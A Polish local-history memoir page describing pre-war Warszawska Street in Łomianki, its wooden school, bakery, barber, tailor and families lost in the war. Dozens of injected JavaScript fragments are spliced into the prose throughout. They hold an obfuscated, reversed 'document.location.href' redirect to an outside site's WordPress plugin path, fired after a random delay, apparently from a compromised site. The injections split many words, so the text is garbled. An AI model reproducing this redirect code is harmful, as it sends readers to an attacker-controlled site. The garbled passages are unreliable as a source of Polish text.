Wspomnienia

WspomnieniaKontynuuję spacer przedwojenną ulicą Warszawską, zakończony w listoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowym numerze przy drewnianym budynku szkoły.

Budynek szkolny, zwrócony frontem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ulicy Warszawskiej, zbutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowany był z drewna. Na piętrze mieszkał kierownik. Wejście toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do budynku znajtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowało się po lewej stronie, na środku był szeroki korytarz, a po obu stronach mieściły się sale lekcyjne. Na korytarzu odbywały się ćwiczenia gimnastyczne. Wokół szkoły było obszerne pole, które służyło jako boisko toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do piłki nożnej, siatkówki i szczypiorniaka (piłki ręcznej).

Kierownik raz na kwartał sprowadzał łaźnię parową na kołach, w której każde dziecko mogło się wykąpać. Z jednej strony łaziennego powozu wcho­dzili chłopcy, a z drugiej dziewczęta. Taka kąpiel zapobiegała wszawicy. Wykąpane dzieci czu­ły się czyste i zdrowe. Trzeba pamiętać, że w tamtych czasach nie w każdym toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domu była przestrzegana higiena.

Po bitwie pod Łomiankami 21­22 września 1939 r., okupant zamienił szkołę na szpital polowy.

W sąsiedztwie szkoły stały dwa budynki mieszkalne Eustachego Rykowskiego zwanego „Estkiem”. W pierwszym drewnianym (już rozebranym) znajtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowały się mieszkania pracowników garbarni. Drugi – murowany, ustawiony wzdłuż ul. Warszawskiej, stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do dziś. W podwórku znajtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowała się murowana piekarnia i zabutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowania gospodarskie. W budynku drewnianym mieścił się magiel ręczny, z którego za niewielką odpłatnością korzystały łomiankowskie gospodynie. Opłata była naliczana od wymaglowanego worka bielizny. Magiel przeżywał prawdziwe oblężenie w dni przedświąteczne oraz w każdą sobotę.

„Estek”, czyli Eustachy Rykowski, zajmował się śrutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaniem zboża na tzw. „razówkę”. Gospodynie używały razówki toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do pieczenia chleba toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domowym sposobem na podkładzie z liści chrzanowych. Rykowski wy­dzierżawił piekarnię żytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowi Janklewiczowi, który zatrudniał wykwalifikowanych polskich piekarzy z terenu Łomianek. Produkował smaczne pieczywo: chleb, bułki, ciasta, chałki. Dostarczał chleb toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do okolicznych sklepów oraz pobliskich wiosek. Pieczywo sprzedawał również na miejscu, w lokalu, w którym obecnie jest apteka. Sam Janklewicz mieszkał wraz z rodziną obok sklepu. Kiedy wybuchła wojna, produkcja pieczywa została przerwana. Po wkroczeniu Niemców wznowił produkcję z nakazu okupanta. Wypiekał pieczywo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do czasu wywiezienia ludności żytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowskiej toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do obozu zagłady. Budynki Eustachego Rykowskiego przetrwały wojnę obronną 1939 r. oraz okupację i stały toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do czasów współczesnych. W mar­cu 2007 r. drewniany budynek przy ul. Warszawskiej wraz z zabutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowaniami gospodarczymi został rozebrany i powstało w tym miejscu osiedle toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domów jednorodzinnych. Pozostała pie­karnia i budynek przy ul. Warszawskiej. W budynku tym mie­szkały nauczycielki Irena oraz Janina Wojtkiewiczówny. Obie poległy w 1944 r. trafione pociskiem artyleryjskim Armii Sowieckiej, która ostrzeliwała z te­renu Pragi szosę w rejonie Bu­rakowa i Lasku Młocińskiego. Drogą tą poruszali się uciekinierzy i wysiedleńcy niemieccy.

Obok posesji Rykowskiego zamieszkiwała rodzina Adama Nosarzewskiego. Właściciel go­spodarstwa był człowiekiem bardzo oczytanym, aktywnym społecznikiem. Poza prowadze­niem gospodarstwa wykonywał usługi transportoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe na rzecz ludności żytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowskiej, zwłaszcza tej, która posiadała sklepy i zakłady produkcyjne. Własnym pojazdem konnym przewoził zakupione toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towary z Warszawy. Adam Nosarzewski przed 1939 r. odbył służbę wojskową i uczestniczył w przewrocie majowym. Podczas wojny został powołany toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do wojska brał udział w walkach w okolicach Mławy, a następnie w twierdzy Modlin. Kiedy przyszła okupacja, prowadził wraz z małżonką Martą własne gospodarstwo produkcyjne. Budynki przetrwa­ły działania wojenne i istniały toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do lat 90. Obecnie znajdują się tam toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domy mieszkalne.

Obok gospodarstwa Nosarzew­skiego był budynek Andrzeja

Kąkolewskiego, z zawodu radcy prawnego. Budynek murowany, w kształcie prostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tokąta stał na rogu ulicy Warszawskiej i Wiślanej. Na piętrze znajtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowała się 7­klasowa szkoła pod­stawowa, w której się uczyliśmy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do czasu wybutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowania nowej szkoły. Przez budynek przechodziła sień. Do sal szkolnych przechodziło się po drewnianych schodkach. Budynek miał około 20 m długości i 10 m szerokości. Na parterze było kilka sklepów.

Od ulicy Wiślanej sklep spożywczo­przemysłowy Leonarda Guzowskiego, w którym sprzedawała jego żona Zofia. W podwórku było zaplecze htoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andlowe, magazyny i stajnia. Guzowski miał własną platformę konną toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do przywozu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarów z hurtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towni z Warszawy. Zatrud­niał pracownika, który rozwoził toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towary toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do klientów. W sklepie Guzowskiego można było zaopatrzyć się we wszystkie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towary spożywcze, produkty paszowe, zbożowe, mączne, sma­ry, nafty, oleje oraz wyroby me­talowe.

W latach 1936­1939 Guzowski uruchomił stację sprzedaży ben­zyn i olejów samochotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowych. Stacja stała przed sklepem w odległości około 10 m. W głę­bi został zakopany dużej objętoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości zbiornik, w którym skłatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowano benzynę. Leonard Gu­zowski był gorącym patriotą i bardzo aktywnie brał udział w życiu Łomianek. Małżeństwo Guzowskich miało jednego sy­na – Jerzego, który uczestniczył w Powstaniu Warszawskim, ja­ko żołnierz Armii Krajowej „Gru­py Kampinos”. Leonard Guzowski zginął od pocisku artyleryjskiego, który wpadł toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do­mu przez okno i trafił go podczas spożywania posiłku.

Obok sklepu państwa Guzowskich znajtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dował się sklep z kon­fekcją lekką damską i wyrobami dziewiarskimi, którego wła­ścicielem był pan Międzygórski. Po drugiej stronie mieścił się zakład fryzjerski Jaworowskiego. Wówczas nie było żyletek i wszyscy mężczyźni korzystali z usług fryzjera, chociaż raz w tygodniu. Do golenia używano wyłącznie brzytwy. Właściciel był również specjalistą od wyrywania zębów. Zakład fryzjerski czynny był także w niedzielę toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do godz.12. Jaworski jako jeden z lepszych fachowców w tym zawodzie wyszkolił kilkunastu młodzieńców na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrych fryzjerów. Rodzice, którzy chcieli, aby ich syn zyskał toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobry fach, najpierw musieli wpłacić umówioną sumę pieniędzy właścicielowi zakładu, podpisywali umowę i oddawali na naukę na około 3 lata.

Obok zakładu fryzjerskiego mieścił się zakład krawiecki, którego właścicielem był żyd Aron Słoń. Szył on na zamówienie: garnitury, kurtki, płaszcze, palta oraz wykonywał różne przeróbki krawieckie. Zatrudniał w zakładzie swojego brata Abrama Słonia. Rodzina ta podczas wojny została wywieziona toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do getta warszawskiego, niestety nie przeżyła.

Kolejny odcinek w następnym numerze.

Podpis:

js Opublikowane przez:

Bądź pierwszą osobą, która zostawi swój komentarz

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *